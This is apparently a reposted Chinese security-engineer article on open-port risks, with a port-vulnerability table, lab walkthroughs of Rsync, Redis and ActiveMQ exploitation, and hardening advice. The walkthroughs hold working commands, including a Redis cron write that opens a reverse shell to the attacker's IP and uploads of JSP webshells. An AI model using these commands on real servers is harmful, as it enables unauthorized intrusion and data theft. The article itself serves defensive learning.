一台电脑上为什么能同时使用多种网络服务。这好像北京城有八个城门一样,不同的协议体现在不同的网络服务上,而不同的网络服务则会在客户端电脑上开辟不同的端口(城门)来完成它的信息传送工作。当然,如果一台网络服务器同时开放了多种网络服务,那么它也要开放多个不同的端口(城门)来接纳不同的客户端请求。
网络上经常听到的“后门”就是这个意思,黑客通过特殊机能在服务器上开辟了一个网络服务,这个服务可以用来专门完成黑客的目的,那么服务器上就会被打开一个新的端口来完成这种服务,因为这个端口是供黑客使用的,因而轻易不会被一般上网用户和网络管理员发现,即“隐藏的端口”,故“后门”。
每一台电脑都可以打开65535个端口,因而理论上我们可以开发出至少65535种不同的网络服务,然而实际上这个数字非常大,网络经常用到的服务协议不过几十个,例如浏览网页客户端和服务端都使用的是80号端口,进行IRC聊天则在服务端使用6667端口、客户端使用1026端口等。
漏洞就是程序中没有考虑到的情况,例如最简单的“弱口令”漏洞是指系统管理员忘记屏蔽某些网络应用程序中的账号;Perl程序漏洞则可能是由于程序员在设计程序的时候考虑情况不完善出现的“让程序执行起来不知所措”的代码段,“溢出”漏洞则属于当初设计系统或者程序的时候,没有预先保留出足够的资源,而在日后使用程序是造成的资源不足;特殊IP包炸弹实际上是程序在分析某些特殊数据的时候出现错误等……
总而言之,漏洞就是程序设计上的人为疏忽,这在任何程序中都无法绝对避免,黑客也正是利用种种漏洞对网络进行攻击的,本章开始的字眼儿“网络安全”实际就是“漏洞”的意思。黑客利用漏洞完成各种攻击是最终的结果,其实真正对黑客的定义就是“寻找漏洞的人”,他们并不是以网络攻击为乐趣,而是天天沉迷在阅读他人的程序并力图找到其中的漏洞。应该说,从某种程度上讲,黑客都是“好人”,他们为了追求完善、建立安全的互联网才投身此行的,只不过因为有的黑客或者干脆是伪黑客经常利用具有攻击性的漏洞,近些年人们才对黑客有了畏惧和敌视的心理。
常见端口漏洞总结 (各个端口安全隐患总结)
先简单自我介绍一下,其实,我是一个安全工程师。现就职于某互联网金融企业负责公司整体网络安全。
刚到公司时首先是了解一些企业规则和规则制定者,当然了我的工作主要是安全。初来乍到,先了解下公司的IT资产,收集完IT资产后,做一个IP资产开放端口的梳理,端口信息的收集这是一个很重要的过程,因为渗透实战中对端口的渗透是常用手段。
端口收集过程中关注几个问题:
1. 常见应用的默认端口
2. 端口的banner信息
3. 端口上运行的服务
4. 可能存在漏洞
端口信息的获取,最为常见的应该就是nmap(端口信息比较详细)、御剑(只显示开放的端口,速度很快),也可以结合其他的主机漏洞扫描工具对端口扫描,如天镜、极光、nusses都可以扫描端口和一些漏洞。
常见端口威胁
通过端口来进行渗透会很大提升渗透成功效率,在工作中发现运维人员开放了很多端口,很多网上曝过的漏洞可以找到,对于个人来说,这是个学习、实践的机会,连环境都搭好了,但对于企业来说这是个很危险的事情。
为什么有这么多端口开放,甚至有些已经关闭了的端口过段时间又会重新开启。还有些端口要求去整改,但却没有整改,这里面有很多因素,也包括人员安全意识和水平不一样。在公司也发起过安全意识培训和一些安全技术规范,但人员流动,各自专业不一样,关注点不一样。甚至一些人认为安全检查是找茬的,影响发版进度。还一个因素,运维部的安全员在执行安全管理时大部分情况是从下往上推,更尴尬的是还换了领导了。也遇到过帮别的甲方企业发现漏洞,告诉了封端口、打补丁,可是运维人员没有去整改,然后大概一个星期后就被黑客入侵了,再花一笔不小的费用让我去封端口、打补丁。一入甲方深似海。。。
在运维部这边遇到安全问题大部分是跟端口、口令相关,开发部那边的情况另说。这里例举了一些常见的端口及可能存在的安全问题,当然了,端口还是要结合服务来看。这里的端口也并不全,我一般看到端口就会去想它的服务,去百度查可能有哪些安全漏洞,大部分是从CVE、CNVD、安全厂商公证号、各大安全论坛也包括freebuf获取漏洞信息。
也做过针对企业具体IP的端口、服务、软件版本的资产服务列表,这样有新的漏洞曝出来,就能很快知道哪些服务器可能有安全风险。
序号 | 类型 | 端口 | 软件/服务名称 | 可能存在的漏洞/利用方式 |
---|---|---|---|---|
1 | 中间件 | 6379 | Redis | 1)未授权访问 |
2 | 中间件 | 8161 | Apache Group ActiveMQ | 1)远程代码执行 |
3 | 中间件 | 873 | Rsync | 1)远程代码执行 |
4 | 中间件 | 9001 | Supervisor | 1)远程命令执行漏洞。 |
5 | 中间件 | 4899 | Radmin | 1)密码爆破 2)远程命令执行 |
6 | 中间件 | 2181 | Zookeeper | 1)未授权访问 |
7 | 中间件 | 11211 | memcached | 1)未授权访问 |
8 | 中间件 | 2375 | Docker | 1未授权访问 |
9 | 中间件 | 7001/7002 | weblogic | 1)密码爆破 2)Java反序列化漏洞 3)任意文件泄漏 |
10 | 中间件 | 8080 | Resin | 1)目录遍历 2)远程文件读取 |
11 | 中间件 | 8080 | GlassFish | 1)弱口令 2)任意文件读取 3)认证绕过 |
12 | 中间件 | 9990 | jboss | 1)密码爆破 2)远程代码执行 3)Java反序列化 |
13 | 中间件 | 9043 | Websphere | 1)密码爆破 2)任意文件泄露 3)java反序列化 |
14 | 中间件 | 80/81/443 | IIS | 1)PUT写文件 2)ms15034 3)http.sys内存下载 4)解析漏洞 5)短文件名泄漏 |
15 | 中间件 | 80/8080 | Apache | 1)解析漏洞 2)目录遍历 3)任意文件上传 4)密码爆破 |
16 | 中间件 | 80/8080 | Tomcat | |
17 | 中间件 | 80/8080 | Nginx | 1)整数溢出 2)目录遍历下载 3)文件类型解析漏洞 |
18 | 中间件 | 8080/8089 | Jenkins | 1)口令爆破 2)未授权访问 3)反序列化 |
19 | 服务类 | 161 | SNMP | 1)未授权访问 |
20 | 服务类 | 443 | HTTPS服务 | 1)SSL心脏滴血 |
21 | 服务类 | 2049 | NFS | 1)未授权访问 |
22 | 服务类 | 445 | Samba-NetBIOS服务 | 1)MS17-010漏洞 2)MS06-040漏洞 3)病毒入口 |
23 | 服务类 | 135 | RPC(远程过程调用)服务 | 1)利用RPC漏洞攻击计算机 2)病毒入口 |
24 | 服务类 | 139 | Samba-文件和打印共享 | 1)IPC$共享后的空链接漏洞 2)病毒入口 |
25 | 服务类 | 137 | Samba-NetBIOS 名字服务 | 1)利用RPC漏洞攻击计算机 2)病毒入口 3)暴力破解 |
26 | 服务类 | 3389 | Windows远程连接 | 1)Shift粘滞键后门 2)密码爆破 3)利用ms12-020攻击3389端口 |
27 | 服务类 | 22 | SSH | 1)密码爆破 2)防火墙SSH后门 3)OpenSSL漏洞 |
28 | 服务类 | 23 | telnet | 1)使用明文传输技术-嗅探 2)暴力破解 |
29 | 服务类 | 53 | DNS | 1)远程溢出 2)DNS欺骗攻击 3)拒绝服务攻击 4)DNS域传送信息泄露 5)DNS劫持 6)DNS缓存投毒 7)DNS隧道技术刺穿防火墙 |
30 | 服务类 | 389 | LDAP | 1)注入 2)未授权访问 3)弱密码 |
31 | 数据库 | 1521 | oracle | 1)各种版本的漏洞 2)密码爆破 3)远程溢出 |
32 | 数据库 | 1433 | SQLServer | 1)各种版本的漏洞 2)密码爆破 3)远程溢出 |
33 | 数据库 | 3306 | mysql | 1)各种版本的漏洞 2)密码爆破 3)自定义函数 |
34 | 其他软件 | 5631 | symantecpcanywhere | 1)各种版本的漏洞 |
35 | 其他软件 | 5900/5900+ | VNC | 1)密码验证绕过 2)拒绝服务攻击 3)权限提升 4)密码爆破 |
36 | 其他软件 | 8649 | ganglia | 1)未授权访问 |
37 | 其他软件 | 5632 | Pcanywhere | 1)提权控制服务: 2)拒绝服务攻击: 3)代码执行 |
38 | 其他软件 | 21 | FTP | 1)远程溢出 2)暴力破解 3)匿名访问—未授权访问 4)配置不当,直接 cd / && dir 5)使用明文传输技术-嗅探 6)后门技术 7)跳转攻击 |
39 | 其他软件 | 81 | ipcam | 1)暴力破解 2)可以基于NTP的反射和放大攻击 3)NTP反射型doos攻击 |
3. 端口漏洞测试
端口漏洞也是挺多的,以下3种漏洞在企业内网比较常见,在外网一般都是做了毕竟严端口控制,外网端口控制简单很多,不像内网架构那么复杂。
3.1 Rsync未授权访问漏洞
3.1.1 漏洞信息
漏洞名称:Rsync未授权访问漏洞
漏洞详情:Rsync因配置不当,导致未授权访问,可未授权上传、下载服务器文件。
Rsync 是一个通过检查文件的时间戳和大小,来跨计算机系统高效地传输和同步文件的工具。通常情况下,管理程序在启动Rsync 服务后,会直接运行传输任务。如果 Rsync 服务未经过安全加固,出现未授权访问等安全问题;其直接后果是传输数据裸露在网络中,可以被任何人访问获取,带来严重的数据泄露风险。
漏洞等级:高危
3.1.2 漏洞测试
一、查看泄露文件
root@kali:~# rsync 192.168.3.XXX::
root@kali:~# rsync 192.168.3.XXX::routing
查看routing目录
二、下载文件
下载routing目录中MFPRDAPP_192.168.3.xxx_report_OS_2018-01-14-01:05:01.txt文件到攻击电脑的root目录:
root@kali:~#rsync -avz 192.168.3.xxx::routing/MFPRDAPP_192.168.3.xxx_report_OS_2018-01-14-01:05:01.txt/root
可以看到成功下载文件到攻击电脑root目录了:
三、上传文件
把攻击电脑root目录中ylr180119.jsp文件上传到靶机服务器routing目录:
root@kali:~# rsync -avz ylr180119.jsp 192.168.3.xxx::routing
登录192.168.3.xxx服务器,看到ylr180119.jsp文件成功上传了:
后续的操作姿势看个人喜好了,这里只是验证这个漏洞可以被利用入侵服务器。
3.2 Redis服务器远程执行漏洞
3.2.1 漏洞信息
漏洞名称:Redis服务器远程执行漏洞
利用原理:主要是通过无密码登录redis,然后往redis缓存写入数据库,再通过redis缓存保存到redis服务器任意目录。
漏洞等级:高危
3.2.2 漏洞测试
为了验证漏洞影响,搭建了测试redis服务器,进行漏洞攻击测试。
搭建测试环境:
1)redis服务器安装redis_version:2.8.17
2)redis服务器(靶机)IP:192.168.20.105
3)攻击电脑,IP:192.168.20.102
测试过程(利用反弹shell控制服务器):
1、由于redis服务器默认是没有设redis访问密码,攻击电脑可直接向rides服务器缓存写入一个反弹shell,每分钟执行一次
root@kali:~/redis-2.8.17/src# echo -e "\n\n*/1 * * * * /bin/bash -i >
&/dev/tcp/192.168.20.102/8880>
&1\n\n"|/root/redis-2.8.17/src/redis-cli -h 192.168.20.105 -p6379 -x set 1
##注意上面的命令需要链接成一句话,如下:
root@kali:~/redis-2.8.17/src# echo -e "\n\n*/1 * * * * /bin/bash -i >&/dev/tcp/192.168.20.102/8880>&1\n\n"|/root/redis-2.8.17/src/redis-cli -h 192.168.20.105 -p6379 -x set 1
2、登录redis服务器redis服务,进行备份/创建一个/var/spool/cron目录root文件
root@kali:~/redis-2.8.17/src# ./redis-cli -h 192.168.20.105 -p 6379
config set dir/var/spool/cron
config set dbfilename root
save
3、攻击电脑上监听反弹shell,成功连接了redis服务器,可执行任意操作
当然还有其他的利用姿势,如:
1)写入SSH的key,然后利用key远程登录;
2)替换redis服务器passwd文件;
3)写入网马(前提需要找到网站路径);
3.3 ApacheActiveMQ远程代码执行漏洞
3.3.1 漏洞信息
漏洞名称:Apache ActiveMQ远程代码执行漏洞
利用原理:主要是通过破解账号密码登录Apache ActiveMQ,然后往Apache ActiveMQ目录写入数据库,再通过MOVE保存数据到服务器任意目录。
漏洞等级:高危
3.3.2 漏洞测试
一、上传小马
首先 PUT 一个 jsp 的 Webshell 到 fileserver 目录
1、修改PUT /fileserver/%20/%20为PUT/fileserver/xiaoma.jsp
2、在下方空白处填写小马内容
3、访问http://192.168.20.101:8161/fileserver/xiaoma.jsp,输入账号密码admin/admin登录成功,看到小马上传成功
二、移动小马到tomcat目录
MOVE/fileserver/xiaoma.jsp
Destination:file:///root/apache-tomcat-7.0.69/webapps/ROOT/xiaoma2.jsp
三、使用小马上传大马
使用小马客户端上传大马shell.jsp
四、访问大马成功
可以使用大马去管理服务器为所欲为…为所欲为…
4. 关于端口与口令安全
纵观端口与口令安全威胁,很多情况是因为默认配置有着诸多不足,而运维同学为了简单,都直接使用了默认配置。对于端口与口令的安全使用,建议可以参考如下措施:
1、采用白名单形式配置主机防火墙/网络防火墙访问控制策略,设置仅允许某IP访问服务某端口。
2、关闭非必要端口,尤其是非必要端口不要开放外网访问。
(很多木马工具也有特定的端口,一些端口由于配置原因容易被恶意人员利用。)
3、设置强壮口令,并定期修改口令。
(密码爆破技术最简单,往往采用字典和社工结合能进行最大效果的爆破。)
4、尽量采用密码防爆破,配合使用如限制次数、验证码等。
5、重要系统尽量使用双因子验证。
6、不要以明文方式传输账号密码。
7、远程运维尽量采用VPN连接方式。
8、尽量以非管理员用户运行服务程序。
9、及时升级版本、打补丁。
强壮口令是指有以下特征的密码:
1) 同时具备大写和小写字符;
2) 同时具备字母、数字和特殊符号,特殊符号例如:!@#$%^&*()_+|~-=\`{}[]:”;’<>?,./) ;
3) 8个字符或者以上;
4) 不是字典上的单词或者汉语拼音;
5) 不基于个人信息、名字和家庭信息。
5. 关于安全整改
当收集完端口信息后,我发现很多问题,跟运维人员、开发人员聊过人生。发现运维人员、开发人员不太懂安全,而安全人员也不太懂运维和开发,至少我之前是这样的。拿端口和弱口令来说,对于安全人员来说,发现了这个问题一般的建议:改口令、关端口;限制IP访问;打补丁/升级版本;删除一些配置文件。实际情况中运维或开发会反馈:
1)口令更改会涉及一些应用调用,需要同时改好几个地方的配置;
2)有其他系统需要调用这些端口,整改起来很麻烦;
3)linux防火墙还好限IP,windows防火墙有不少坑,网络防火墙限IP可能要改好几个防火墙,而且防火墙策略已经很乱;
4)一些补丁打不上,版本不能升不了级,甚至不能升级和打补丁;
5)这个问题好像没什么影响,我慢点改,最后可能不了了之;
6)有没有更简单的方法,我选更简单的。
我只是个安全工程师,招入职我的领导升上去了,坚强的后盾没了,还好这么多年的工作经验在运维和开发都懂一些,安全工作也还是要继续:
1)把整改的方法一一分析,讨论可行性,甚至还把一些操作步骤给做成手册,甚至还写过杀毒软件的安装和配置使用手册;
2)把问题风险列出来,甚至进行成功渗透,必要时发个安全通告、安全预警之类,主要是要引起对问题的重视,同时也要避免出问题担责。
漏洞成功利用了,整改操作手册也有了,各位大佬同意整改了,然后就是漏洞跟踪形成闭环。
原文出自:http://www.freebuf.com/articles/web/165340.html
linux系统管理员和php, python专家. 善于写脚本文件。非常清楚linux结构